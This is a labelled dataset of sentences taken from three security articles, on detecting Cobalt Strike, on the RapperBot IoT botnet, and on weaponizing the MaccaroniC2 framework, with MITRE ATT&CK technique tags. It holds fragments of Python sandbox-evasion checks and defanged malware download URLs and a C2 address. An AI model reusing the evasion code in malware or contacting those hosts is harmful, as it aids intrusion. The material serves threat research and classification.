{"sentence": "It leverages the good reputation of cloud provider domains such as Microsoft, Amazon, and Google to bypass domain reputation-based security controls.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "This link delivers an Excel file pretending to be an Apple Store invoice requesting the target “enable content to view receipt.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "How to Detect?", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "This can be difficult to detect, as there are multiple degrees of separation before the Cobalt Strike payload is executed.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Detection first requires dynamic analysis in order to reach the Cobalt Strike stage.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "When it comes to static signatures, it can be difficult to isolate the exact area in-memory that you should run the signatures over.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "One way this can be achieved is running the file through debugging tools and manually dumping memory to perform signature analysis.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "This can be extremely time consuming and requires a high degree of technical knowledge.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Another possible way is to use a sandbox and download memory dumps from a finished analysis in order to run static analysis tools.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "This requires slightly less technical knowledge but it still can be time consuming.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Among the deployed malware was a Cobalt Strike loader dubbed TEARDROP by FireEye.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "The TEARDROP dropper is a memory-only DLL that runs as a service spawning a thread that pulls the Cobalt Strike payload from a fake JPG file.", "labels": ["T1027", "T1543.003"], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "The Raindrop variant is built from a modified version of 7-ZIP source code.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Once the encoded payload has been located, it extracts, decrypts, and decompresses the data to be executed as shellcode.", "labels": ["T1027", "T1140"], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "It can often be difficult to detect if your organization has been the victim of a supply chain attack.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "It can be especially hard to collect forensic evidence for an attack when it could be mixed in with the code of legitimate and large files.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Due to the nature of supply chain attacks, there are often a large number of machines in an organization infected at one time.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "An action you can take is to run Intezer’s live endpoint scanner across all machines in the organization.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "This will give you immediate visibility over all running code and quickly identify infected machines by detecting any traces of malicious code found in-memory.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "An example of a machine with Raindrop loading Cobalt Strike is shown in the endpoint scan below.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "This is a powerful tactic as it can result in unauthorized code being executed within the memory space of a trusted process, evading malware defenses by flying under the radar.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "One popular tool used for LotL operations is the Microsoft.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "NET framework utility called MSBuild.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "MSBuild is the build platform used for Microsoft and Visual Studio.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Visual Studio relies on MSBuild to build projects for testing and releases.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Attackers are able to pass MSBuild.exe, a project (.proj) file, to build and execute.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "This attack is effective for attackers as many sandboxing solutions are not able to handle project files and struggle with fileless malware.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "This technique was observed by Cisco Talos researchers in 2020 to deploy Cobalt Strike.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Project file codeAs shown above, the project file has an encoded and compressed payload.", "labels": ["T1027"], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "The shellcode is then executed in a new thread.", "labels": ["T1055"], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "”Intezer Analyze endpoint scan of a Cobalt Strike-infected system via LotL technique Executables (EXE) Files There is an acronym in the United States Armed Forces called “KISS.”", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "KISS stands for “Keep it simple, stupid!”", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "This requires either social engineering tactics to get the target to execute the malware or another program/script to execute the file.", "labels": ["T1204.002"], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Once the shellcode is written to the named pipe, it is decrypted and executed in a separate thread.", "labels": ["T1140"], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Notice how the Cobalt Strike code is only shown when it is executed and found in-memory.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Cobalt Strike found via memory analysis How can Cobalt Strike be detected and remediated?", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Due to the many ways Cobalt Strike is deployed, detection can be hard.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "The use of shellcode, encoding, compression, obfuscated strings, process injection, hashing algorithms, domain fronting, different communication channels, and dynamically loaded libraries all give malware and network defenses a run for their money.", "labels": ["T1027", "T1055", "T1090"], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Static analysis can involve hashing the file and finding intel on it, taking a look at the strings to see if there are functionality or network indicators, or checking imports and running signatures such as YARA for the file.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Although useful, static analysis on its own is probably not sufficient to detect Cobalt Strike.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "It is trivial to generate a new payload for each new target.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Checking strings may be insufficient also.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Encrypted payloads will also obfuscate useful strings from static analysis.", "labels": ["T1027"], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "API Hashing algorithms employed by Cobalt Strike hide imports from static analysis techniques.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Without dynamic analysis, they won’t be able to detect exactly what that payload will be.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Dynamic analysis can open up new areas to explore as one can follow the malware through each stage of its deployment and functionality.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Dynamic analysis can get the malware to unpack, decode, or download additional stages.", "labels": ["T1027", "T1105", "T1140"], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "These new stages are then subject to further dynamic analysis as well as the previously mentioned static analysis techniques.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Dynamic analysis does not have many limitations, although some malware includes functionality to detect if it is being observed or running inside a sandboxed environment.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "There is also the possibility that during dynamic analysis, areas of malicious code may not be intentionally executed, and thus not detected in the behavior.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "The best way to detect malicious code is via genetic code analysis which is done automatically for you in Intezer Analyze. Combination of Several Techniques The best way to detect Cobalt Strike code is through a combination of dynamic, static, and genetic analysis.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Before opening the document, we submit it to Intezer Analyze and get the verdict, as shown below.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Intezer Analyze result showing in-memory Cobalt Strike codeThe document drops and executes Cobalt Strike in the memory space of “rundll32.exe.”", "labels": ["T1218.011"], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "TTPs section showing capabilities detected during executionThe document displays interesting techniques such as macros with auto-execution, network activity with a unique user agent, office process starting martian subprocess, and process injection.", "labels": ["T1055"], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "The “IoCs” tab in Intezer Analyze shows indicators that can help you pivot and search in your environment during investigations to map out the scope of an attack.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Behavior tab showing observed behavior during sandbox execution The Only Abused Pen Testing Tool? Cobalt Strike is not the only penetration testing or legitimate tool that has been co-opted and abused by threat actors.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "The “Sysinternals” suite has been used extensively by threat actors.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Most notably, PsExec has been used in high-profile attacks such as the 2017 NotPetya global ransomware outbreak.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "More recently, legitimate and penetration testing tools for the cloud have been used by threat actors.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "The threat actor TeamTNT has used Weave Scope, a trusted tool which gives the user full access to their cloud environment, and is integrated with Docker, Kubernetes, the Distributed Cloud Operating System (DC/OS), and AWS Elastic Compute Cloud (EC2).", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "The attacker installs this tool in order to map the cloud environment of their victim and execute system commands without needing to deploy malicious code on the server.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "The same group has also been documented using the penetration testing tool Break Out The Box (BOTB) for cloud and containerized environments.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Get Started for Free With Intezer Analyze, you can analyze any suspicious files that you encounter, including non-executable files such as Microsoft Office documents, scripts, archives, and more.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Stay on top of analyzing and classifying Cobalt Strike and other threats.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "Get started for free and start with 50 file uploads per month.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "The post How to Detect Cobalt Strike appeared first on Intezer.", "labels": [], "doc_title": "How to Detect Cobalt Strike"}
{"sentence": "After FortiGuard Labs reported on RapperBot in our previous article titled So RapperBot, What Ya Bruting For? in August 2022, there was a significant drop in the number of samples collected in the wild.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "But in early October 2022, new samples with the same distinctive C2 protocol used by RapperBot were detected.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Unlike the murky objectives of the previous campaign, it is quickly evident that these samples are part of a separate campaign to launch Distributed Denial of Service (DDoS) attacks against game servers, which we believe to be a re-emergence of a similar campaign from earlier this year.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "RapperBot Rebooted FortiGuard Labs encountered this campaign by hunting for samples using the unique bot ID used by RapperBot to communicate with its Command-and-Control (C2) server, as reported in the previous article.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Other related campaigns uncovered during this investigation are detailed later in this article.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Network Protocol and Denial-of-Service (DoS)", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Attacks The C2 network protocol used in previous campaigns remains essentially unchanged, with additional commands added to support the Telnet brute force.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "The list of commands and IDs are shown below: 0x00: Register (used by the client)", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "This campaign adds DoS attacks against the GRE protocol (likely reusing the Mirai source code) and the UDP protocol used by the Grand Theft Auto: San Andreas Multi Player (SA:MP) mod.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Multi Player (SA:MP) 0x05: GRE Ethernet flood 0x06: GRE IP flood 0x07: Generic TCP flood These specific commands, coupled with the absence of HTTP-related DDoS attacks, suggests that this campaign is primarily geared toward game server DDoS. Telnet Self-propagation The most significant difference in the new campaign was the complete replacement of the SSH brute forcing code with the more usual Telnet equivalent.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "FortiGuard Labs has observed similar drastic modifications within RapperBot samples, as detailed in our previous report, adding and removing even DoS attack code on an apparent whim.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "The Telnet brute forcing code is designed primarily for self-propagation and resembles the old Mirai Satori botnet.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Unlike the earlier SSH brute-forcing campaign, the plaintext credentials are embedded into the malware instead of being downloaded from the C2.", "labels": ["T1078", "T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "These credentials used appear to be default credentials for IoT devices.", "labels": ["T1078"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "To optimize brute forcing efforts, the malware compares the server prompt upon connection to a hardcoded list of strings to identify the possible device and then only tries the known credentials for that device.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Unlike less sophisticated IoT malware, this allows the malware to avoid trying to test a full list of credentials.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "While not exactly a novel technique, it is still uncommon compared to other IoT botnets.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Based on the prompt messages hardcoded into the malware, most of the targeted devices are IoT devices such as routers and DVRs.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "This campaign seems especially interested in older devices with the Qualcomm MDM9625 chipset, such as LTE modems.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "It attempts to specifically gain root access to these devices via a default password, despite having the same credentials in the list embedded in the binary.", "labels": ["T1078", "T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "After reporting, the malware attempts to install its main payload binary on the compromised device.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "It first parses the Executable and Linkable Format (ELF) header of the /bin/busybox file for the e_machine field, which provides the architecture of the compromised device.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "This allows it to download and deploy a RapperBot payload of the correct architecture to ensure proper execution.", "labels": ["T1105"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "This selective behavior is more efficient than the shotgun approach in most IoT malware families, whereby all the binaries for the supported architectures are downloaded and executed in the victim's system.", "labels": ["T1105"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Based on the payload binaries we collected, this botnet currently seems to only target devices running on ARM, MIPS, PowerPC, SH4, and SPARC architectures.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Unlike in Satori, these embedded downloaders are stored as escaped byte strings, probably to simplify parsing and processing within the code.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "The binary downloaders are written by echoing the bytes and piping the content to a file in the victim system.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "No attempts to persist on infected or brute-forced devices were observed for this campaign.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "We observed that the earliest samples for this campaign were from December 2021 and that the SA:MP attack was only added in February 2022.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "This campaign mysteriously disappeared in mid-April 2022, resurfacing in Oct 2022 with the addition of the self-propagation feature.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "These samples contain slightly fewer credentials and a simpler self-propagation code that only supports downloading the payload via wget or the binary downloader embedded directly into the sample.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "This campaign did not support stopping or restarting the Telnet propagation, and while the samples support the same commands, their associated IDs did not match.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Connections to RapperBot The fact that samples from both campaigns use the same C2 protocol, coupled with the absence of this campaign during the RapperBot campaign active between June and Aug 2022 and its recent reappearance, seems to be more than a coincidence.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "The C2 commands and corresponding IDs are identical in both campaigns (excluding the Telnet-related commands, as those do not apply to RapperBot) Both campaigns show a certain degree of effort in optimizing the brute forcing implementation.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Code for the brute forcing implementation is significantly more structured than typical IoT malware that copies and pastes code with minimal modifications.", "labels": ["T1110"], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "RapperBot also supported the TCP STOMP attack popularized by Mirai.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "This attack was not observed in the earlier campaigns mentioned above.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "However, as both Mirai and Satori source code are publicly available, this is considered a very weak link between the campaigns.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "If both campaigns were related, the reason for restarting an older campaign remains a mystery.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Conclusion Based on the undeniable similarities between this new campaign and the previously reported RapperBot campaign, it is highly likely that they are being operated by a single threat actor or by different threat actors with access to a privately-shared base source code.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Unlike the previous RapperBot campaign, this new campaign has a clear motivation to compromise as many IoT devices as possible to build a DDoS botnet.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Although this new campaign has evolved significantly from previous campaigns, mitigating it remains the same—setting strong passwords for all devices connected to the internet.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR, and the Fortinet AntiVirus engine is a part of each of those solutions.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "FortiGuard Labs provides the Rapper.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Botnet IPS signature against RapperBot C2 activity.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "The FortiGuard Web Filtering Service blocks the C2 servers and download URLs.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "IOCs Files 3d5c5d9e792e0a5f3648438b7510b284f924ab433f08d558b6e082e1d5414a03 7afcac5f71e9205879e0e476d3388898a62e7aa4a3e4a059884f40ea36cfd57f 8ec79a35700f6691f0d88d53647e9f2b75648710ecd119e55815331fc3bdd0b5 a12ad4bc394d60bc037271e1c2df1bd2b87bdaaba85f6c1b7d046341f027cc2d f000bf482040b48595badee1fc56afb95449ac48b5dc35fe3a05542cbf18f658 4aa9175c1846557107ec197ea73d4cc8dbe6d575a8fd86ae214ff9b3a00e438b f98261eb7dc122449c158118cc9c660683206983a9e90ff73eb88c4705e0c48e Download URLs hxxp://185[.]216[.]71[.]149/armv4l hxxp://185[.]216[.]71[.]149/armv5l hxxp://185[.]216[.]71[.]149/armv6l hxxp://185[.]216[.]71[.]149/armv7l hxxp://185[.]216[.]71[.]149/mips hxxp://185[.]216[.]71[.]149/mipsel hxxp://185[.]216[.]71[.]149/powerpc hxxp://185[.]216[.]71[.]149/sparc hxxp://185[.]216[.]71[.]149/sh4 hxxp://185[.]216[.]71[.]149/bot_arm4_el hxxp://185[.]216[.]71[.]149/bot_arm5_el hxxp://185[.]216[.]71[.]149/bot_arm6_el hxxp://185[.]216[.]71[.]149/bot_arm7_el hxxp://185[.]216[.]71[.]149/bot_mips_eb hxxp://185[.]216[.]71[.]149/bot_mips_el hxxp://185[.]216[.]71[.]149/bot_sh_el C2 185[.]216[.]71[.]149 Learn more about Fortinet’s FortiGuard Labs threat research and global intelligence organization and Fortinet’s FortiGuard AI-powered Security Services portfolio.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "Sign up to receive our threat research blogs.", "labels": [], "doc_title": "New RapperBot Campaign  We Know What You Bruting for this Time"}
{"sentence": "2 0 DISCLAIMER – This article is provided for educational and informational purposes only.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The usage of these techniques should strictly adhere to applicable laws, regulations, and ethical guidelines.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The author and publisher of this article shall not be held responsible for any misuse or illegal activities conducted by individuals or entities based on the information provided.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It is advisable to review and comply with the terms of use of any platform or service to avoid potential account bans or disruptions.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Introduction Embark on a journey into the intricate world of cyber attacks as we unravel paths taken by adversaries from malware creation to data exfiltration.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In this comprehensive exploration, we delve into the stages that comprise the attack lifecycle, analyzing the process from infecting to exfiltration, with a particular focus on weaponization.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Presenting MaccaroniC2 In this article, we’ll explore MaccaroniC2 ( https://github.com/CalfCrusher/MaccaroniC2 ), a proof-of-concept Command & Control framework that leverages the versatile features of the AsyncSSH Python library ( https://asyncssh.readthedocs.io ) with the integration of PyNgrok, a wrapper for Ngrok ( https://ngrok.com ).", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This tool is designed to address a specific scenario where the victim operates an AsyncSSH server and establishes an external tunnel, eagerly awaiting commands from the attacker.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Some key features of the AsyncSSH library include: Asynchronous Execution: AsyncSSH is built with asynchronous programming in mind, allowing you to perform SSH operations concurrently without blocking the execution flow.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "SSH Protocol Support: It provides support for various SSH protocol versions, including SSH1, SSH2, and the ability to negotiate and handle different encryption and authentication methods.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Event-driven API:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In a hardened network environment scenario, establishing a connection to an Ngrok server can be easily detected by EDR (Endpoint Detection and Response) systems and other tools designed to monitor network traffic.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Check the project: https://github.com/CalfCrusher/MaccaroniC2 Weaponizing malware: MaccaroniC2 with steroids In real-world scenarios, it is essential to embrace the mindset of a determined threat actor striving to enhance the effectiveness of their malware while maintaining covert operations.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "With this objective in mind, we will delve into custom modifications to the server side of MaccaroniC2, uncovering fundamental concepts that enable us to effectively weaponize our tool for diverse real-world scenarios.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Virtualization/Sandbox Evasion are those techniques utilized by adversaries as a part of their defense evasion strategy to detect and avoid virtualization and analysis environments, such as malware analysis sandboxes.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Sandbox evasion is indeed a complex and evolving field.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "While it’s not possible to cover all aspects of sandbox evasion in just a few lines of Python code, we’ll see some general basic techniques and concepts that can be used to try to recognize a sandbox or a virtual environment:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This code essentially checks if certain processes that are commonly associated with sandbox environments or virtual machines are running.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "This information can be helpful in determining whether the code is running in a protected or controlled environment rather than on a regular user’s machine.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "# Technique 3: Check if running in a sandboxed network environment sandboxed_networks =", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "[\"10.0.2.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "\", \"192.168.44.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "\", \"172.16.0.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "\", \"172.16.1.\", \"172.16.2.\", \"172.16.3.\", \"172.16.4.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "\", \"172.16.5.\", \"172.16.6.\", \"172.16.7.\", \"172.16.8.\", \"172.16.9.\", \"172.16.10.\", \"172.16.11.\", \"172.16.12.\", \"172.16.13.\", \"172.16.14.\", \"172.16.15.\"] local_ip = socket.gethostbyname(socket.gethostname())", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Here we can see how this code comparing the local IP address with a predefined list of network addresses typically associated with sandboxed environments.", "labels": ["T1016"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Here we can see another piece of code that checks for virtualization by examining the CPU features.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It uses the cpuinfo Python module to retrieve information about the CPU.", "labels": ["T1082"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "The code defines a list of virtualized CPU features and then checks if any of these features are present in the CPU information’s “flags” field.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "If any feature is found, the code returns True, indicating the presence of virtualization.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "# Technique 5: Check if disk size is greater than 50 GB min_disk_size_gb = 50 if len(sys.argv) >", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "1: min_disk_size_gb = float(sys.argv[1]) _, disk_size_bytes, _ = win32api.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "GetDiskFreeSpaceEx() disk_size_gb = disk_size_bytes / 1073741824", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "if disk_size_gb > min_disk_size_gb: return False # Proceed else: return True # Not Proceed This code checks if the disk size is greater than a specified threshold (50 GB as example).", "labels": ["T1082"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It uses the win32api.", "labels": ["T1082", "T1106"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "GetDiskFreeSpaceEx() function to retrieve the disk size in bytes.", "labels": ["T1082", "T1106"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It converts the size to gigabytes by dividing it by 1073741824 (the number of bytes in a gigabyte).", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "After comparing the disk size in gigabytes to the specified min_disk_size_gb, if the disk size is greater, the code returns False.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "However, if the disk size falls below the minimum threshold, it returns True, signaling that the script should stop from proceeding further because we assume that we’re inside a VM environment or a sandbox.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "It should be noted that these techniques are basic examples and represent fundamental practices in the field of malware development and sandbox detection.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "Let’s go further.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
{"sentence": "In MaccaroniC2 original tool, the SSH Pub Key is hardcoded.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"}
